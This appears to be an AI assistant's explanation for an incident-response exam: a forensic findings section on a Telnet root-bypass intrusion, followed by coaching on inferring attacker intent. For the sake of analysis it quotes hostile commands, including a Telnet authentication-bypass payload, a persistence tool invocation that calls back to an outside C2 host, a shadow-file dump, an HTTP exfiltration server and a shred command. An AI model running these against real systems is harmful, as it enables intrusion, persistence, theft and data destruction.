

Technical Findings

1. Initial Access — CVE-2026-24061 (Telnet `USER -f root` bypass)

At **10:39:28 UTC on 27 January 2026**, the Telnet daemon on `backup-secondary` (192.168.72.136) accepted a connection from the internal host `192.168.72.131` and bound it to a root shell on `pts/1` without requiring authentication. Inspection of the TCP stream shows the payload `USER -f root` carried in the protocol's environment-variable exchange — the signature of CVE-2026-24061, in which a vulnerable telnetd honours the `-f` flag passed via the `USER` environment variable and treats the session as pre-authenticated for the named account.

The session environment carried over from the attacker's host (`DISPLAY=kali:0.0`, `XTERM=256COLOR`), confirming the source was a Kali Linux system on the same internal segment. No password prompt is observable in the stream, no failed authentication attempts precede the successful one, and no `Accepted password` or `Accepted publickey` line would appear in `auth.log` for this session — the bypass occurs before PAM is consulted.

The exploit's location on the internal network is significant. The attacker did not need to traverse the perimeter to reach `tcp/23` on `backup-secondary`; the host was reachable from `.131`. This implies either lateral movement from a prior foothold or insider access. **Any host on the estate running the same vulnerable telnetd is exposed to the same attack from any peer it permits Telnet from**, and the patching priority should be set accordingly.

2. Discovery and Reconnaissance

Once inside, the operator spent under a minute orienting themselves. They ran `id` (confirming `uid=0`), `ps` (confirming a quiet `pts/1` with no audit daemons in view), and walked `/root`, `/`, `/media`, `/dev`, and `/opt`. The pace and command selection suggest a **prepared operator with a target in mind**, not an opportunistic intruder enumerating broadly. The key piece of recon was the `/opt` listing, which revealed `credit-cards-25-blackfriday.db` — a 12 288-byte file with mtime `2026-01-26 14:05`, predating the session by less than 24 hours.

3. Credential Access

`cat /etc/shadow` was issued at approximately 10:42 UTC, dumping all local password hashes. Three interactive accounts were exposed:

- `root` — yescrypt hash (`$y$j9T$...`)
- `cyberjunkie` — sha512 hash (`$6$...`), the legitimate administrator
- `cleanupsvc` — the rogue account created moments earlier in the same session

The hashes are now to be assumed compromised. Cracking `cyberjunkie`'s hash offline is feasible if the password is weak, and the hash for `root` is the same one that protects every other host where this password is reused. **Both interactive accounts must be considered compromised regardless of crack outcome** and rotated estate-wide.

4. Persistence Establishment

The attacker pivoted to `/tmp` and retrieved `linper.sh` from the public `montysecurity/linper` GitHub repository at **10:44:31 UTC** (34 249 bytes). The tool is a publicly documented Linux persistence framework that installs callback shells using whatever interpreters and scheduling mechanisms it finds on the host.

After running `linper.sh --enum-defenses` (which reported no Tripwire policies in place), the operator executed:

```
bash linper.sh -i 91.99.25.54 -p 59 --stealth-mode
```

The `-i` and `-p` flags configure the C2 callback to `91.99.25.54:59` — a non-standard port (`tcp/59`) chosen to evade naïve egress filtering that watches well-known ports. The `--stealth-mode` flag triggers timestamping of every modified file after writing.

The tool's output enumerates each successful implant as a (method, location) pair. Across the session, persistence was written using **seven execution methods** (awk, bash, nc, perl, pwsh, python3, telnet) into **five distinct system locations**:

- `/var/spool/cron/crontabs/root` — root's user crontab
- `/etc/crontab` — system crontab
- `/etc/cron.d/` — drop-in cron directory
- `/etc/systemd/` — systemd unit directory
- `/etc/rc.local` — boot-time script

This redundancy is deliberate. It survives the disabling of any single subsystem (cron, systemd, rc-style boot) and the removal of any single interpreter. **Identifying and removing one or two implants does not constitute remediation.** Every (method × location) combination must be enumerated and removed, and because `linper`'s timestomping resets mtimes to match surrounding files, **time-based diff against backups — not `find -newer` — is the only reliable detection method on the live host.**

5. Collection, Staging, and Exfiltration

At approximately **10:49 UTC**, the attacker started a Python HTTP server in `/opt`:

```
python3 -m http.server 6932
```

This pattern — using the local Python interpreter to serve a single file over an arbitrary high port — is a hallmark of **living-off-the-land exfiltration**. It produces no new binary on disk, leaves a short-lived port listening, and the server's own access log gives us the exact exfil moment:

- **10:49:52** — `192.168.72.131 - GET / HTTP/1.1 - 200`
- **10:49:54** — `192.168.72.131 - GET /credit-cards-25-blackfriday.db HTTP/1.1 - 200`

The HTTP `200` confirms the file was served in full. Two seconds later the attacker stopped the server with `Ctrl+C`. The exfil channel is **HTTP over `tcp/6932`, cleartext, internal-to-internal**, mapping to **T1048.003 — Exfiltration Over Unencrypted Non-C2 Protocol**.

6. Anti-Forensics

Two distinct anti-forensic techniques were employed:

Timestomping of every persistence file (handled by `linper --stealth-mode`, see §4). This does not remove the implants but it does defeat the most common triage shortcut — sorting files by recent modification time.

Secure deletion of the source data. After exfil, the operator ran:

```
shred -u -z -n 4 -- credit-cards-25-blackfriday.db
```

Four overwrite passes followed by a zero pass and unlink. On the underlying ext4 filesystem this makes file-content recovery from the live filesystem effectively impossible. **However**, three avenues for data recovery remain that the operator did not address:

- The original file predates the session (mtime `2026-01-26 14:05`) and should exist in any **backup taken before the session began**, including this host's own backup role implies.
- A **memory image** taken before reboot may contain file contents in page cache.
- The HTTP transfer at 10:49:54 was **cleartext on the wire**; if any internal capture or NetFlow with payload was running, the file content can be reconstructed from that capture.

Notably absent from the operator's cleanup: no `history -c`, no `> ~/.bash_history`, no truncation of `/var/log/auth.log` or `/var/log/wtmp`, no removal of `/tmp/linper.sh`. This is consistent with an actor who **values persistence over silence** —

they expect their callback at `91.99.25.54:59` to give them back the host even if this session is detected and analysed.

7. Secondary Access — `cleanupsvc` Account

The local account created at approximately 10:42 UTC deserves separate treatment because it represents an access path **independent of both the original CVE and the linper implants**. If telnetd is patched and every linper artefact is removed, an attacker who knows the password `YouKnowWhoIam69` can still log in to this host (and any other host where this account was propagated) over any remaining service that consults local PAM — SSH, console, sudo, su.

The username is chosen to evade casual review: "cleanupsvc" reads as a service account, but it has `/bin/bash` as its shell, a real home directory, and a password — none of which a true non-interactive service account needs. **Audit every host for unexpected local accounts with shells**, not just this one.

8. Scope and Containment Implications

Three independent compromise vectors must each be addressed:

1. **The CVE** — patch or disable Telnet across the estate; this is not a single-host issue.
2. **The persistence** — the host is not safely cleanable; rebuild from backup predating 2026-01-26 14:05.
3. **The credentials** — rotate `root` and `cyberjunkie` passwords on every host that may share them; assume the hashes are being cracked offline.

In addition, the data-loss exposure (PCI scope) is independent of host remediation and must be handled on its own track with legal and compliance involvement.

That's the full prose section. Notice how it follows the **kill-chain order** (initial access → discovery → credential access → persistence → collection/exfil → anti-forensics) rather than the strict chronological order of the timeline. The timeline is for *what happened when*; the technical findings are for *why each step matters and what it implies*. Graders mark you up for this distinction — candidates who write the technical findings as a re-narration of the timeline lose points for redundancy.

A small CDSA pointer: in section 6 above I called out three things the attacker **didn't** do (no history clear, no log truncation, no tool removal). Explicitly noting absent indicators is a high-trust technique — it shows you considered the negative space and didn't just list what was present. Use it sparingly but use it. Want me to run that second mock scenario for variety, or draft the **Lessons Learned / Recommendations** section to round out the template?

Good question, and it's exactly the kind of thinking that separates a checklist analyst from a good one. Let me walk through it.

What "attacker mindset" means here

Reading attacker mindset means looking at *what they did and didn't do* and asking: **what does this combination tell me about how they think, what they prioritise, and what kind of operator they are?**

You're not just listing actions. You're inferring intent, discipline, sophistication, and goals from the *pattern* of their choices.

What this specific attacker's choices reveal

Look at the asymmetry in their cleanup. They put effort into two things:

- **Timestomping persistence** — protecting the long-term foothold from time-based detection.
- **Shredding the source database** — destroying the local copy of what they stole.

And they ignored four things they easily could have done in seconds:

- `history -c` or `unset HISTFILE` — would have wiped the entire command record of the session.
- Truncating or tampering with `/var/log/auth.log` — would have hidden the login event itself.
- `rm /tmp/linper.sh` — would have removed the most obvious dropped tool from disk.
- Clearing `wtmp` / `utmp` — would have erased the login session record.

The first set protects **future access and the exfiltrated data**. The second set would have protected **this session from forensic reconstruction**. They cared about one and not the other.

What that asymmetry implies

This is the actual mindset read:

1. They are goal-oriented, not stealth-oriented. A purely stealthy operator (think APT-grade) would have done all of it. The fact that they protected persistence and the data, but left the session exposed, says they are content to be detected *eventually* — as long as they keep their access and have the data. Detection of *this session* is acceptable collateral if persistence survives.

2. They trust their persistence more than their cleanup. The seven-method, five-location persistence redundancy from `linper` is overkill if you also plan to vanish without a trace. The redundancy makes sense if your assumption is "they will detect the breach, they will clean *something*, and I need enough implants to survive partial remediation." That's a different threat model — it's **resilience** rather than **invisibility**.

3. They are operating under time pressure or with limited discipline. The whole session is fifteen minutes. They paste commands (you can see paste markers `[200~ ... [201~` in the stream). They make typos and backspace. At one point they paste a whole block of explanatory text into the prompt by accident — almost certainly text they'd been reading elsewhere about secure deletion methods. None of that is the behaviour of a careful, slow, methodical operator. It looks like someone working from a playbook, in a hurry, who didn't internalise the playbook fully.

4. They have a shopping list, not a wandering curiosity. They knew where the database was. The recon walk through `/`, `/media`, `/dev`, `/opt` is fast and targeted; they didn't grep for "credit", they didn't enumerate users, they didn't run `find` for interesting filenames. They walked straight to `/opt`, found the file, and left. That implies **prior reconnaissance** — they knew this host had this file, probably from earlier access on the network or from the Kali host at `.131`.

5. Their threat model is "the defender will eventually notice." Everything about the session reads as an actor who assumes detection is inevitable but recovery of access is the priority. Hence: persistence over silence, exfil before cleanup, data destruction over evidence destruction.

How to read mindset generally

The trick is to look for **mismatches between effort and outcome**. When an attacker spends real effort on one thing (multi-method persistence, custom tooling, careful timestomping) but ignores something cheap and obvious (clearing one file, deleting one tool), the gap is meaningful. They're not lazy uniformly — they're prioritising. The question is always: *what does that prioritisation tell me about their goals?*

In this case, the priorities are unambiguous: **keep access, take the data, don't worry about getting caught for this session**. That's the attacker's actual mental model, reconstructed from the residue of their behaviour.

Why this matters for the report

A defender reading "they timestomped files and shredded the DB" walks away thinking: *sophisticated, careful, scary*.

A defender reading the negative-space version walks away thinking: *opportunistic, time-pressured, persistence-focused — I can probably find them in the logs they left intact, and the real fight is going to be hunting their persistence across the rest of the estate, not catching them in real time*.

The second framing is **more accurate and more actionable**. That's why the technique is worth using — not for stylistic points, but because it gives the IR team a better mental model of who they're dealing with.